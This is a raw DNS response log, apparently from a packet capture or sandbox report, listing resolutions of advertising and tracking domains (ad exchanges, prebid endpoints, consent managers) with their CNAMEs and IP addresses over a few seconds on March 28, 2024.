Mar 28, 2024 09:51:18.119369984 CET	1.1.1.1	192.168.2.4	0x7d06	No error (0)	config.aps.amazon-adsystem.com		18.160.10.17	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.119369984 CET	1.1.1.1	192.168.2.4	0x7d06	No error (0)	config.aps.amazon-adsystem.com		18.160.10.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.119369984 CET	1.1.1.1	192.168.2.4	0x7d06	No error (0)	config.aps.amazon-adsystem.com		18.160.10.80	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.119369984 CET	1.1.1.1	192.168.2.4	0x7d06	No error (0)	config.aps.amazon-adsystem.com		18.160.10.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.127127886 CET	1.1.1.1	192.168.2.4	0x4d2c	No error (0)	sb.scorecardresearch.com		18.238.49.99	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.127127886 CET	1.1.1.1	192.168.2.4	0x4d2c	No error (0)	sb.scorecardresearch.com		18.238.49.74	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.127127886 CET	1.1.1.1	192.168.2.4	0x4d2c	No error (0)	sb.scorecardresearch.com		18.238.49.124	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.127127886 CET	1.1.1.1	192.168.2.4	0x4d2c	No error (0)	sb.scorecardresearch.com		18.238.49.52	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.128561974 CET	1.1.1.1	192.168.2.4	0x14ec	No error (0)	cdn.pbstck.com		104.22.0.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.128561974 CET	1.1.1.1	192.168.2.4	0x14ec	No error (0)	cdn.pbstck.com		172.67.25.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.128561974 CET	1.1.1.1	192.168.2.4	0x14ec	No error (0)	cdn.pbstck.com		104.22.1.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.130429029 CET	1.1.1.1	192.168.2.4	0x8db7	No error (0)	spl.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.130429029 CET	1.1.1.1	192.168.2.4	0x8db7	No error (0)	spl.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.130429029 CET	1.1.1.1	192.168.2.4	0x8db7	No error (0)	spl.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.130630016 CET	1.1.1.1	192.168.2.4	0x99e4	No error (0)	spl.zeotap.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:18.189280033 CET	1.1.1.1	192.168.2.4	0xe79c	No error (0)	js.tncid.app		35.244.250.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.222146988 CET	1.1.1.1	192.168.2.4	0x1b56	No error (0)	launchpad.privacymanager.io		108.156.120.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.222146988 CET	1.1.1.1	192.168.2.4	0x1b56	No error (0)	launchpad.privacymanager.io		108.156.120.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.222146988 CET	1.1.1.1	192.168.2.4	0x1b56	No error (0)	launchpad.privacymanager.io		108.156.120.77	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.222146988 CET	1.1.1.1	192.168.2.4	0x1b56	No error (0)	launchpad.privacymanager.io		108.156.120.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.444521904 CET	1.1.1.1	192.168.2.4	0x2e71	No error (0)	a.teads.tv	a.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.444705009 CET	1.1.1.1	192.168.2.4	0x41eb	No error (0)	a.teads.tv	a.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.473012924 CET	1.1.1.1	192.168.2.4	0xea64	No error (0)	adx.4strokemedia.com	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.473012924 CET	1.1.1.1	192.168.2.4	0xea64	No error (0)	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		3.126.34.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.473012924 CET	1.1.1.1	192.168.2.4	0xea64	No error (0)	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		18.193.206.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.480463028 CET	1.1.1.1	192.168.2.4	0x852d	No error (0)	adx.4strokemedia.com	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.633614063 CET	1.1.1.1	192.168.2.4	0x4254	No error (0)	pub.admanmedia.com		8.2.110.27	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.633614063 CET	1.1.1.1	192.168.2.4	0x4254	No error (0)	pub.admanmedia.com		8.2.110.31	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.635761023 CET	1.1.1.1	192.168.2.4	0xae39	No error (0)	adx.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.636188984 CET	1.1.1.1	192.168.2.4	0x9956	No error (0)	adx.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.640052080 CET	1.1.1.1	192.168.2.4	0x99f7	No error (0)	prebid.a-mo.net	ny5-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.640449047 CET	1.1.1.1	192.168.2.4	0x53f5	No error (0)	prebid.a-mo.net	phx-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.640449047 CET	1.1.1.1	192.168.2.4	0x53f5	No error (0)	phx-prebid.a-mx.net		131.153.13.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.640449047 CET	1.1.1.1	192.168.2.4	0x53f5	No error (0)	phx-prebid.a-mx.net		131.153.13.102	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.640449047 CET	1.1.1.1	192.168.2.4	0x53f5	No error (0)	phx-prebid.a-mx.net		131.153.13.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.640449047 CET	1.1.1.1	192.168.2.4	0x53f5	No error (0)	phx-prebid.a-mx.net		131.153.13.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.645126104 CET	1.1.1.1	192.168.2.4	0xc263	No error (0)	shb.richaudience.com		208.115.237.110	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	ad.360yield.com	ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		52.205.169.46	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		23.21.22.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		3.226.92.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		34.237.85.162	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		18.235.64.152	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		3.233.74.236	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		44.217.129.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649153948 CET	1.1.1.1	192.168.2.4	0x7c8a	No error (0)	na-ice.360yield.com		52.4.246.185	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649168015 CET	1.1.1.1	192.168.2.4	0x356f	No error (0)	ad.360yield.com	ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.649168015 CET	1.1.1.1	192.168.2.4	0x356f	No error (0)	ice.360yield.com	na-ice.360yield.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.653374910 CET	1.1.1.1	192.168.2.4	0x1c33	No error (0)	hb-api.omnitagjs.com	hb-api-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.654480934 CET	1.1.1.1	192.168.2.4	0xf4b4	No error (0)	hb-api.omnitagjs.com	hb-api-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.654480934 CET	1.1.1.1	192.168.2.4	0xf4b4	No error (0)	hb-api-usa02.omnitagjs.com		195.244.31.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.654480934 CET	1.1.1.1	192.168.2.4	0xf4b4	No error (0)	hb-api-usa02.omnitagjs.com		195.244.31.11	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.657922029 CET	1.1.1.1	192.168.2.4	0x879a	No error (0)	onetag-sys.com		51.222.39.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.657922029 CET	1.1.1.1	192.168.2.4	0x879a	No error (0)	onetag-sys.com		51.222.239.230	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.657922029 CET	1.1.1.1	192.168.2.4	0x879a	No error (0)	onetag-sys.com		51.222.239.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.657922029 CET	1.1.1.1	192.168.2.4	0x879a	No error (0)	onetag-sys.com		51.222.39.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.657922029 CET	1.1.1.1	192.168.2.4	0x879a	No error (0)	onetag-sys.com		51.222.39.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.657922029 CET	1.1.1.1	192.168.2.4	0x879a	No error (0)	onetag-sys.com		51.222.39.185	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.662020922 CET	1.1.1.1	192.168.2.4	0xecb3	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663690090 CET	1.1.1.1	192.168.2.4	0x82ab	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663690090 CET	1.1.1.1	192.168.2.4	0x82ab	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663690090 CET	1.1.1.1	192.168.2.4	0x82ab	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		50.16.9.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.200.35.219	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.234.5.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.223.11.207	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.73.11.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.1.169.133	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.230.240.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.663902998 CET	1.1.1.1	192.168.2.4	0x351	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		54.174.201.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.672234058 CET	1.1.1.1	192.168.2.4	0x2624	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.672234058 CET	1.1.1.1	192.168.2.4	0x2624	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.673718929 CET	1.1.1.1	192.168.2.4	0x512c	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:18.677160978 CET	1.1.1.1	192.168.2.4	0xe750	No error (0)	prebid-eu.creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.680375099 CET	1.1.1.1	192.168.2.4	0xe046	No error (0)	prebid.smilewanted.com		104.22.30.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.680375099 CET	1.1.1.1	192.168.2.4	0xe046	No error (0)	prebid.smilewanted.com		104.22.31.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.680375099 CET	1.1.1.1	192.168.2.4	0xe046	No error (0)	prebid.smilewanted.com		172.67.14.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.681696892 CET	1.1.1.1	192.168.2.4	0x4052	No error (0)	prebid.smilewanted.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:18.695622921 CET	1.1.1.1	192.168.2.4	0xe6f3	No error (0)	btlr.sharethrough.com	btlr-us-east-1.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.695622921 CET	1.1.1.1	192.168.2.4	0xe6f3	No error (0)	btlr-us-east-1.sharethrough.com		34.235.214.237	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:18.696203947 CET	1.1.1.1	192.168.2.4	0x7675	No error (0)	btlr.sharethrough.com	btlr-us-east-1.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.699827909 CET	1.1.1.1	192.168.2.4	0x9db2	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.699827909 CET	1.1.1.1	192.168.2.4	0x9db2	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.759484053 CET	1.1.1.1	192.168.2.4	0x2c9f	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.759484053 CET	1.1.1.1	192.168.2.4	0x2c9f	No error (0)	hbprebid-v3.pubmnet.com	gob-njr3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.759496927 CET	1.1.1.1	192.168.2.4	0x36a8	No error (0)	hbopenbid.pubmatic.com	hbprebid-v3.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.759496927 CET	1.1.1.1	192.168.2.4	0x36a8	No error (0)	hbprebid-v3.pubmnet.com	gob-pairb-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:18.759496927 CET	1.1.1.1	192.168.2.4	0x36a8	No error (0)	gob-pairb-nje1.pubmnet.com		207.65.37.179	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.698365927 CET	1.1.1.1	192.168.2.4	0xf40b	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:19.705152035 CET	1.1.1.1	192.168.2.4	0xfc0	No error (0)	topics.authorizedvault.com	1657490710.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:19.705152035 CET	1.1.1.1	192.168.2.4	0xfc0	No error (0)	1657490710.rsc.cdn77.org		37.19.206.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.715584993 CET	1.1.1.1	192.168.2.4	0x84d6	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:19.715729952 CET	1.1.1.1	192.168.2.4	0xb1b8	No error (0)	ads.pubmatic.com	pubmatic.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:19.724078894 CET	1.1.1.1	192.168.2.4	0x204e	No error (0)	fastlane.rubiconproject.com	tagged-by.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:19.790851116 CET	1.1.1.1	192.168.2.4	0xcee2	No error (0)	topics.authorizedvault.com	1657490710.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:19.861745119 CET	1.1.1.1	192.168.2.4	0xba56	No error (0)	t.seedtag.com		104.16.112.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.861745119 CET	1.1.1.1	192.168.2.4	0xba56	No error (0)	t.seedtag.com		104.16.96.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.861745119 CET	1.1.1.1	192.168.2.4	0xba56	No error (0)	t.seedtag.com		104.18.111.252	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.861745119 CET	1.1.1.1	192.168.2.4	0xba56	No error (0)	t.seedtag.com		104.18.127.252	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.861745119 CET	1.1.1.1	192.168.2.4	0xba56	No error (0)	t.seedtag.com		104.16.80.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:19.863142967 CET	1.1.1.1	192.168.2.4	0x1a9f	No error (0)	t.seedtag.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:20.026453972 CET	1.1.1.1	192.168.2.4	0xa635	No error (0)	prebid.adnxs.com	prebid.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:20.026453972 CET	1.1.1.1	192.168.2.4	0xa635	No error (0)	prebid.appnexusgslb.net		68.67.153.61	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.776935101 CET	1.1.1.1	192.168.2.4	0xc1bb	No error (0)	ads.viralize.tv		35.186.238.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	cpu32-zs9v8.ads.tremorhub.com	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		3.214.47.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		18.210.8.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		52.205.153.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		54.243.237.149	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		52.73.208.44	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		44.214.74.183	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		44.194.239.241	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.901526928 CET	1.1.1.1	192.168.2.4	0x8472	No error (0)	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		107.20.248.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:21.918203115 CET	1.1.1.1	192.168.2.4	0x1a25	No error (0)	cpu32-zs9v8.ads.tremorhub.com	wildcard-ads-new-1653986885.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.070408106 CET	1.1.1.1	192.168.2.4	0x2cb3	No error (0)	widgets.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.070780993 CET	1.1.1.1	192.168.2.4	0x6153	No error (0)	widgets.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.228352070 CET	1.1.1.1	192.168.2.4	0xd65c	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.228352070 CET	1.1.1.1	192.168.2.4	0xd65c	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.332082987 CET	1.1.1.1	192.168.2.4	0x32cb	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.332082987 CET	1.1.1.1	192.168.2.4	0x32cb	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.332323074 CET	1.1.1.1	192.168.2.4	0x4073	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		100.24.220.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		34.194.99.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		107.23.18.109	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		54.81.60.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		44.209.20.160	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		34.230.154.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		54.235.153.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.333266973 CET	1.1.1.1	192.168.2.4	0xf80a	No error (0)	match-us-east-1-ecs.sharethrough.com		34.235.76.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.347645044 CET	1.1.1.1	192.168.2.4	0x85b0	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.348990917 CET	1.1.1.1	192.168.2.4	0xcc54	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.348990917 CET	1.1.1.1	192.168.2.4	0xcc54	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.348990917 CET	1.1.1.1	192.168.2.4	0xcc54	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.348990917 CET	1.1.1.1	192.168.2.4	0xcc54	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.371685982 CET	1.1.1.1	192.168.2.4	0x8142	No error (0)	secure.cdn.fastclick.net	secure2.cdn.fastclick.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373142004 CET	1.1.1.1	192.168.2.4	0x5fa	No error (0)	geo.privacymanager.io		13.32.151.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373142004 CET	1.1.1.1	192.168.2.4	0x5fa	No error (0)	geo.privacymanager.io		13.32.151.21	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:22.373142004 CET	1.1.1.1	192.168.2.4	0x5fa	No error (0)	geo.privacymanager.io		13.32.151.38	A (IP address)	IN (0x0001)	false
